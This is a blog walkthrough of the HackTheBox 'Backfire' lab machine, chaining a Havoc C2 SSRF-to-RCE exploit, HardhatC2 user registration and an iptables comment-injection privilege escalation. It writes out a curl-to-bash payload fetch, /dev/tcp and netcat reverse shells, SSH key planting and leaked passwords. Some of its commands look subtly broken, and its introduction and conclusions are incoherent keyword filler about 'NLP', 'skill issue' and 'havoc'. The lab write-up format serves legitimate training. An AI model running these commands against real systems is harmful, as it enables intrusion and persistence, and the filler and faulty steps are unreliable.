Beginner’s Guide to Conquering Backfire on HackTheBox

The CyberSec Guru

Updated on:

Beginner’s Guide to Conquering Backfire on HackTheBox

If you like this post, then please share it:

Buy me A Coffee!

Support The CyberSec Guru’s Mission

🔐 Fuel the cybersecurity crusade by buying me a coffee! Why your support matters: Zero paywalls: Keep the content 100% free for learners worldwide, Writeup Access: Get complete writeup access within 12 hours of machine drop along with scripts and commands.

“Your coffee keeps the servers running and the knowledge flowing in our fight against cybercrime.”☕ Support My Work

Buy Me a Coffee Button

Key Highlights

  • Discover the importance of tackling Backfire for beginners on HackTheBox.
  • Learn about the essential tools and resources needed to prepare for conquering Backfire.
  • Understand the step-by-step guide to conquering Backfire successfully.
  • Gain insights on common pitfalls to avoid while working on Backfire challenges.
  • Explore the prerequisites required before attempting the Backfire challenge on HackTheBox.
  • Find out if Backfire can be tackled by individuals new to the HackTheBox platform.

Introduction

Backfire HackTheBox
Backfire HackTheBox

Embark on your journey to conquer Backfire on HackTheBox. Dive into the world of cybersecurity challenges and enhance your skills. Unravel the complexities of this box created to test your prowess. Equip yourself with Python proficiency and navigate through directories. Engage with the community on Discord, seeking guidance through DM. Crack hashes, bypass passwords, and decrypt sensitive data. Explore the intricacies of HTTP protocols and wreak havoc on vulnerabilities. Prepare to tackle this challenge head-on and emerge victorious.

Understanding the Basics of Backfire on HackTheBox

Backfire on HackTheBox is a challenge deemed suitable for beginners, focusing on fundamental penetration testing concepts. It involves various skill issues such as enumeration, privilege escalation, and exploitation. Box creators design Backfire to test basic Python scripting skills, understanding of directory structures, and HTTP functionalities. Engaging with the HackTheBox community through Discord DMs can provide valuable insights to overcome this challenge. Recognizing hash types, password cracking, and inducing controlled havoc are pivotal in mastering Backfire.

What is Backfire on HackTheBox?

Backfire on HackTheBox is a challenging virtual machine designed for cybersecurity enthusiasts to test and enhance their penetration testing skills. It simulates real-world scenarios with varying levels of difficulty, making it an ideal platform for honing one’s expertise in ethical hacking.

Why is it important for beginners to tackle Backfire?

Understanding and conquering Backfire on HackTheBox is crucial for beginners as it builds foundational skills in penetration testing. Tackling Backfire enhances knowledge of enumeration, exploitation, and post-exploitation techniques, essential for advancing in cybersecurity.

Preparing to Conquer Backfire

Before diving into conquering Backfire on HackTheBox, it’s crucial to equip yourself with the necessary tools and resources. As a beginner, having a solid grasp of Python and understanding how to navigate directories is essential. Joining Discord communities or reaching out to box creators via DM for insights can also be valuable. Additionally, familiarize yourself with concepts like hashes, passwords, HTTP protocols, and potential chaos that may arise. Setting up your environment for success will play a significant role in overcoming any skill issue you may encounter.

Essential Tools and Resources Needed

To effectively tackle Backfire on HackTheBox, beginners must equip themselves with essential tools like Python for scripting, directory enumeration, and password cracking. Utilize Discord to engage with fellow hackers and leverage DMs for collaboration. Familiarize yourself with hashing algorithms and HTTP protocols to navigate potential challenges smoothly. Prioritize acquiring the knowledge needed to create havoc, as this skill issue can be a game-changer in overcoming Backfire.

Setting Up Your Environment for Success

To set up your environment for success, ensure you have Python installed and basic NLP skills. Join the Discord server for guidance from experienced box creators. Utilize tools like hash-identifier for hash cracking and Burp Suite for HTTP traffic analysis. Familiarize yourself with directory structures to navigate efficiently, mitigating any potential skill issue. Engage with the community through DM for support and share knowledge to tackle Backfire effectively.

ALSO READ: Mastering EscapeTwo: Beginner’s Guide from HackTheBox

Step-by-Step Guide to Conquering Backfire

Step 1: Begin your conquest with thorough reconnaissance using NLP tools to identify weaknesses. Enumerate services and versions to pinpoint potential vulnerabilities. Step 2: Utilize Python scripts for automating tasks and crafting tailored attacks against Backfire. Leverage Discord or DM with peers to brainstorm strategies. Decrypt hashes and crack passwords for further access. Exploit HTTP to navigate directories and manipulate data. Stay focused amidst the havocs on the journey towards success.

To begin conquering Backfire, initiate your journey with Step 1: Initial Reconnaissance and Enumeration. Employ Python scripts or manual checks to uncover open ports, services running, and version details. Utilize directory brute-forcing tools like ‘dirb’ or ‘gobuster’ to map out the web server structure. Engage with the community on Discord for insights and tips. Pay close attention to potential misconfigurations and information leaks. This foundational step lays the groundwork for a successful penetration testing endeavor.

Initial Enumeration

NMap Scan

Backfire.htb NMap Scan Result
Backfire.htb NMap Scan Result

From the scan results:

PORT     STATE    SERVICE  VERSION
22/tcp   open     ssh      OpenSSH 9.2p1 Debian 2+deb12u4 (protocol 2.0)
443/tcp  open     ssl/http nginx 1.22.1
8000/tcp open     http     nginx 1.22.1
5000/tcp filtered upnp
7096/tcp filtered unknown

We immediately identify three ports of interest:

  • Port 8000 hosts an Nginx web server with two downloadable files.
  • Port 443 is another Nginx server returning a 404 with an SSL cert meant for 127.0.0.1.
  • Port 22 runs SSH.

Initial Foothold via Port 8000

Accessing http://10.129.221.157:8000/ reveals an open directory listing with:

  • disable_tls.patch
  • havoc.yaotl
Backfire.htb Port 8000 Contents
Backfire.htb Port 8000 Contents

The filenames immediately suggest a C2 (Command and Control) server, particularly Havoc C2, which is known in the offensive security space.

Inspecting disable_tls.patch

Opening this patch shows lines of code that seem to disable TLS verification — potentially to allow insecure access to a service like Havoc C2 that normally uses self-signed certs on loopback interfaces.

Contents of disable_tls.patch
Contents of disable_tls.patch

Inspecting havoc.yaotl

The .yaotl extension is specific to Havoc. Opening it reveals:

Teamserver {
    Host = "127.0.0.1"
    Port = 40056
    ...
}
Operators {
    user "ilya" {
        Password = "CobaltStr1keSuckz!"
    }
    user "sergej" {
        Password = "1w4nt2sw1tch2h4rdh4tc2"
    }
}

We see valid credentials for ilya and sergej, both seemingly operators of the Havoc Teamserver. It is bound only to 127.0.0.1:40056.

Exploiting CVE-2024-41570 – Havoc SSRF → RCE

HAVOC RCE
HAVOC RCE

Using the provided SSRF proof-of-concept, we can exploit Havoc via port 443:

python3 exploit2.py --target https://backfire.htb -i 127.0.0.1 -p 40056

This will simulate a connection from the public HTTPS interface to 127.0.0.1:40056.

HAVOC RCE Exploit
HAVOC RCE Exploit

Payload Staging

The script authenticates to the Havoc C2 with ilya‘s credentials and crafts a payload configuration for listener binding. The final payload:

cmd = "curl http://10.129.221.157:8000/payload.sh | bash"

This executes our payload hosted on a web server (we should run python3 -m http.server 8000 in Kali and prepare payload.sh with a reverse shell):

echo "#!/bin/bash"
echo "bash -i >& /dev/tcp/10.129.221.157/4444 0>&1" > payload.sh
chmod +x payload.sh

Start listener:

nc -lvnp 4444

Execute the SSRF injection. Once successful, a shell as user ilya is returned.

HAVOC C2 Server SSRF injection
HAVOC C2 Server SSRF injection

Persistence via SSH

We escalate from reverse shell to SSH by adding our public key to ilya‘s authorized_keys:

ssh-keygen -t ed25519 -b 4096

Then, inside the shell:

echo "ssh-ed25519 AAAAC3N... root@kali" > ~/.ssh/authorized_keys

SSH in:

ssh -i ~/.ssh/id_ed25519 ilya@10.129.221.157

Lateral Movement

Checking Open Ports on Loopback

From inside ilya‘s shell:

netstat -tuln
netstat -tulnp on ilya user
netstat -tulnp on ilya user

Reveals services on:

  • 127.0.0.1:7096
  • 127.0.0.1:5000

We use SSH port forwarding:

ssh -i ~/.ssh/id_ed25519 ilya@10.129.221.157 -L 7096:127.0.0.1:7096 -L 5000:127.0.0.1:5000

Now we can access both ports via localhost:7096 and localhost:5000 from our Kali.

HardhatC2 Exploit on 5000

Googling reveals HardhatC2, an adversarial emulation framework. We find an exploit to register new users via the exposed API.

Hardhat C2 on Port 7096
Hardhat C2 on Port 7096

We craft a Python script with:

rhost = '127.0.0.1:5000'

And use it to register a new user sth_pentest.

Once registered, we access the interface and use the implant control panel to send commands.

From the implant shell:

nc -e /bin/bash 10.129.221.157 9092

We get a new reverse shell as user sergej. Again, we place our public key:

echo "ssh-ed25519 AAAAC3N... root@kali" > ~/.ssh/authorized_keys

SSH as sergej:

ssh -i ~/.ssh/id_ed25519 sergej@10.129.221.157

Privilege Escalation

We search for SUID binaries:

find / -perm -4000 2>/dev/null

Nothing out of the ordinary. Then, we try:

sudo -l

sergej can execute iptables as root:

(ALL) NOPASSWD: /usr/sbin/iptables

Research reveals a technique to abuse comment field in iptables rules to write arbitrary content to files like authorized_keys.

We use it to write our SSH public key into root’s key file:

sudo /usr/sbin/iptables -A INPUT -i lo -m comment --comment $'
ssh-ed25519 AAAAC3N... root@kali
' -j ACCEPT

Now try SSH as root:

ssh -i ~/.ssh/id_ed25519 root@10.129.221.157

Success!

Post Exploitation and Flags

cat /root/root.txt
e676f952a7ced5212ebfbe575be4511c

User flag from ilya:

cat /home/ilya/user.txt
...

Conclusion

Backfire is a beautiful multi-layered HTB machine that ties together many real-world techniques:

  1. Service Enumeration via full port scanning.
  2. Open Directory Access leading to C2 configuration leaks.
  3. Exploitation of SSRF in a custom-built HTTPS interface.
  4. WebSocket injection into Havoc TeamServer.
  5. Payload Staging via SSRF that enables remote code execution.
  6. SSH Persistence and Lateral Movement via forwarded ports.
  7. Abusing Local Services like HardhatC2 to impersonate users.
  8. Privilege Escalation via a clever use of iptables’ --comment injection.

This box heavily emphasizes post-exploitation, C2 internals, and creative privilege escalation. It’s an excellent exercise for red-teamers or those interested in adversarial simulations.

Final Flags

  • User: Acquired via SSRF → ilya → shell
  • Root: Achieved through iptables injection

HTB Backfire pwned.

ALSO READ: Mastering UnderPass: Beginner’s Guide from HackTheBox

Conclusion

In conclusion, mastering Backfire on HackTheBox is imperative for beginners to enhance their NLP understanding and address the skill issue. Utilize Python scripts, directory brute-forcing, and Hashcat for password cracking. Engage with the community on Discord, seek help in direct messages (DMs), and stay updated on the latest HTTP exploits. Overcome the havoc posed by Backfire with determination and continuous learning to elevate your hacking skills significantly. Happy hacking!

Frequently Asked Questions

What prerequisites do I need before attempting Backfire?

Before attempting Backfire on HackTheBox, ensure you have a good grasp of basic networking concepts, familiarity with common hacking tools like Nmap and Metasploit, and understanding of different types of vulnerabilities.

How long does it typically take to conquer Backfire?

Conquering Backfire on HackTheBox typically takes beginners a few days to a couple of weeks, depending on their familiarity with the platform and cybersecurity concepts.

Can Backfire be tackled by someone new to HackTheBox?

Backfire on HackTheBox can be challenging for newcomers due to its complexity. However, with dedication and a willingness to learn, beginners can conquer Backfire by following a systematic approach and leveraging the right resources.

What are the common pitfalls to avoid while working on Backfire?

Understanding the potential stumbling blocks can enhance your Backfire experience. Stay vigilant against common errors like overlooking key details, neglecting proper enumeration, or rushing through exploitation. Mitigate these pitfalls for a smoother journey towards conquering Backfire.

Buy me A Coffee!

Support The CyberSec Guru’s Mission

🔐 Fuel the cybersecurity crusade by buying me a coffee! Your contribution powers free tutorials, hands-on labs, and security resources.

Why your support matters:
  • Writeup Access: Get complete writeup access within 24 hours
  • Zero paywalls: Keep the content 100% free for learners worldwide

Perks for one-time supporters:
☕️ $5: Shoutout in Buy Me a Coffee
🛡️ $8: Fast-track Access to Live Webinars
💻 $10: Vote on future tutorial topics + exclusive AMA access

“Your coffee keeps the servers running and the knowledge flowing in our fight against cybercrime.”☕ Support My Work

Buy Me a Coffee Button

If you like this post, then please share it:

Discover more from The CyberSec Guru

Subscribe to get the latest posts sent to your email!

Leave a Reply

This site uses Akismet to reduce spam. Learn how your comment data is processed.

Discover more from The CyberSec Guru

Subscribe now to keep reading and get access to the full archive.

Continue reading